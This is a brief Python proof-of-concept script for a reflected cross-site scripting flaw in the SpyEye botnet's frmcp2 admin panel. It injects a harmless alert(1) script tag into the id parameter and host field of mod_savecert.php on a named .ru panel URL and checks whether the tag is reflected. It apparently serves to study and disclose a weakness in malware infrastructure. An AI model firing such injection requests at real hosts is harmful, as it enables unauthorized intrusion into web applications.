SpyEye frmcp2 xss

eye.py

# SpyEye version ? reflected XSS POC
# Xartrick
# Xylitol
 
import urllib
import urllib2
 
# Configuration ...
 
sPayload  = '<script>alert(1);</script>'
sPanel    = 'http://drookinabra.ru/adm/frmcp2/'
sURL      = sPanel + 'mod_savecert.php?id=' + sPayload
 
# Exploitation
 
sPOST     = {'host' : sPayload}
sData     = urllib.urlencode(sPOST)
oURL      = urllib2.Request(sURL, sData)
oResponse = urllib2.urlopen(oURL)
sPage     = oResponse.read()
 
if (sPayload in sPage):
    print("Exploitation works, the vulnerabily exists!")
else:
    print("You are a bad hacker!")